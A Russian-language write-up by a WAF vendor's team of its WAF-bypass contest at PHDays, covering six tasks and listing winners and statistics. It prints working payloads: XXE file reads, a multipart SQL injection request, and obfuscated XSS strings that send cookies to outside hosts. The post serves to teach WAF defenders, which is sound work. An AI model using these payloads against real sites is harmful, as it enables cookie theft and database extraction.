![](https://habrastorage.org/getpro/habr/post_images/db2/b02/4cb/db2b024cb93726a1b6b3b44da0f4dc1b.jpg)
Для конкурса мы подготовили набор заданий. Каждое представляло собой сценарий с типовой уязвимостью: с ее помощью нужно было добыть флаг. Все задания имели решение, но решения не всегда были очевидными. Участникам был доступен отчет о сканировании исходных кодов заданий с помощью другого продукта нашей компании — Application Inspector. В этом посте мы расскажем о заданиях, обходах и полученном опыте.
![](https://habrastorage.org/getpro/habr/post_images/65c/710/9f5/65c7109f5f3dd8e73f7c14335b2084c2.png)
1. XXE
Первое задание состояло из XMLRPC-сервера на PHP, уязвимого к XML External Entities Injection. Уязвимость глазами Application Inspector:
![](https://habrastorage.org/getpro/habr/post_images/7cc/ac0/ecf/7ccac0ecf342a2e93ab0c0d6986ddc9a.png)
Задание было разминочным, и Application Firewall был настроен на блокировку только простых XXE:
<!DOCTYPE input [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input>&xxe;</input>
Получить флаг можно было с помощью, например, parameter entities:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "flag" >
%xxe;
]>
<body>
<method a='a'>test</method>
</body>
Или через DOCTYPE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE body SYSTEM "flag">
<body><method>test</method></body>
2. SQL Injection
Целью этого задания было получение флага из базы данных с помощью SQL Injection. Большинство участников пытались обойти фильтр вместо того, чтобы обратить внимание на хинт: требовалось обнаружить ошибку в конфигурации WAF, а именно неправильную нормализацию данных. Одна из самых серьезных проблем современных WAF это нормализация входящих данных в HTTP-запросах, ошибки которой могут привести к обходу на уровне протокола. Как отмечал Штефан Эссер в своей презентации Shocking News in PHP Exploitation еще в 2009 году, разработчики WAF пытаются создать один HTTP-парсер для всех существующих реализаций, что очевидно невозможно. Подход, реализованный в PT Application Firewall, — нормализация с учетом особенностей бекэнда. Для задания нормализация была отключена, что позволяло провести следующий обход:
POST /news.php HTTP/1.1
Host: task2.waf-bypass.phdays.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
В PHP имеется свой уникальный парсер multipart-данных, который в качестве boundary берет значение до запятой в заголовке Content-Type. Нормальные парсеры берут полное значение. Поэтому без нормализации WAF будет считать, что в запросе файл, который не будет проверяться фильтром. А вот PHP «увидит» в этом запросе параметр id с полезной нагрузкой.
3. httpOnly
Это задание и все последующие ориентированы на client-side-уязвимости. Для конкурса мы сделали бота на Selenium, для которого выставлялись cookie с флагом; цель задания — украсть эти cookie.
httpOnly — флаг cookie, который запрещает доступ к ее значению с помощью JavaScript (отсюда и название).
Код уязвимого сценария:
<h4>httpOnly bypass</h4>
<p>In this task you need to bypass httpOnly and steal bot cookies using
<a href="http://waf-bypass.phdays.com/#bot">http://waf-bypass.phdays.com/#bot</a>.
All XSS checks are disabled, but there is an intentional bug, try to find it!</p>
<?php
if(!isset($_GET['name'])) die("<p>Please provide name</p>");
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
setcookie('flag', $_GET['name'] . '-' . file_get_contents('./flag'));
} else {
setcookie('flag', $_GET['name'] . '-' . md5(mt_rand()));
}
echo '<p>' . $_GET['name'] . '</p>';
?>
Здесь можно отметить два момента: пользовательское значение попадает в значение cookie, входящие данные выводятся как есть. Очевидно, что бот, перейдя по ссылке с XSS, не отправит свои cookie из-за httpOnly, который выставляет Application Firewall. Чтобы обойти защиту, необходимо было указать в значении cookie строку httpOnly, тогда WAF посчитал бы, что флаг уже выставлен и добавлять свой не надо:
httponly.php?name=;HttpOnly
4. Anomaly
В этом задании участникам предлагалось проверить механизм выявления аномалий, использующий алгоритмы машинного обучения, которые лежат в основе PT Application Firewall. Была подготовлена модель данных, которую переобучили (overfit) на разнородных значениях. Суть обхода заключалась в том, чтобы составить такую строку, которая удовлетворяла параметрам обученной статистической модели. В данном задании также имелась уязвимость Cross Site Scripting, однако httpOnly не выставлялся. Обойти даже ослабленную нами статистическую модель удалось лишь двум участникам:
aaaaaaaaaaaa ... [snip] ... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav%3Cvideo+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+src=//secsem.ru+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+onerror=src%2b=document.cookie+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/%3E
Стоит отметить, что для «разбавления» спецсимволов, на которые реагировал WAF, использовалось обращение к значению атрибута тэга из другого атрибута, расположенного достаточно далеко, чтобы строка не выходила за порог.
5. RegEx
Задача участников этого задания — обойти фильтр, использующий регулярные выражения, и украсть cookie бота. Неотъемлемая часть любого традиционного WAF — это сигнатуры на основе регулярных выражений. Мы еще раз убедились, что хороший WAF не должен полагаться только на «регулярки». Вот некоторые из обходов:
<img src = http://dsec.ru/bitrix/templates/dsec/img/logo.png onload = \"\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.write('<im\\u0067 src = http://sergeybelove.ru?ccc='%2b\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.cooki\\u0065%2b'>')\">
1%3Cvideo%20%20src%3dx%20onerror%3d%0Asrc='ht'%2b'tp:'%2b'//'+d\\u006fcument['\\x63ookie']%3E%3C/video%3E
<svg onload=\"var xStuff=HTMLElement['con'%2b'structor'],yStuff=xStuff('var img=new'%2b' Ima'%2b'ge('%2b') ;im'%2b'g.sr'%2b'c=\\'http:/'%2b'/labs.tom.vg/cookie=\\'%2bdoc'%2b'ument.coo'%2b'kie;doc'%2b'ument.doc'%2b'umentEl'%2b'ement.appe'%2b'ndCh'%2b'ild'%2b'('%2b'img) ;'),zStuff=yStuff()\">
6. Sanitize
В заключительном задании предлагалось реализовать XSS, обойдя защиту, суть которой состояла в кодировании отраженных в ответе входящих значений в HTML-сущности.
GET /sanitize.php?name=<script>alert(1)</script> HTTP/1.0
->
HTTP/1.0 200 OK
...
Hello, <script>alert(1)</script>!
Казалось бы, защита железная; но обход все же был. Чтобы найти значение, поступающее от пользователя, производится поиск по всему телу HTTP-ответа, который может включать и другие HTML-тэги. Обход состоял в том, чтобы заставить WAF заэкранировать уже присутствующие в ответе тэги, что позволило бы избежать фильтрации целевого payload.
Результаты
Победителями стала команда из МГУ — Георгий Носеевич, Андрей Петухов и Александр Раздобаров. Решили все задания! Второе место досталось Ивану Новикову (d0znpp), а третье — докладчику из Бельгии, Тому Ван Гутему. Победители получили ценные призы: Apple iPad Air, Sony Xperia Z2 и годовую лицензию на Burp Suite Pro соответственно.
![](https://habrastorage.org/getpro/habr/post_images/d40/06b/72a/d4006b72a4a837a3ccf3c68b56a6aba2.png)
Немного статистики: за два дня проведения конкурса было заблокировано 122644 запроса, зарегистрировался 101 участник, лишь 11 смогли добыть хотя бы один флаг.
Динамика первого дня
![](https://habrastorage.org/getpro/habr/post_images/83f/a55/956/83fa559564dc65bb0ccdba93cbb2ab2d.png)
Динамика второго дня
![](https://habrastorage.org/getpro/habr/post_images/e98/a3d/734/e98a3d734227e8f0803c8bcba208e0eb.png)
Статистика по атакам
![](https://habrastorage.org/getpro/habr/post_images/3cb/2ba/452/3cb2ba45266fe0793f02a3683af29652.png)
Статистика по задниям
![](https://habrastorage.org/getpro/habr/post_images/37f/d84/7b8/37fd847b89c1919fe1fb7d7992c28be1.png)
А еще для конкурса мы сделали классную визуализацию с помощью logstalgia.
![](https://habrastorage.org/getpro/habr/post_images/f6e/3c7/441/f6e3c744140a99c988cca83a51526ea0.jpg)
На этом все!
Арсений Реутов (Raz0r), Дмитрий Нагибин и PT Application Firewall Team
![](https://habrastorage.org/getpro/habr/post_images/900/d19/863/900d198630e607dfb85f94482b4a7cca.png)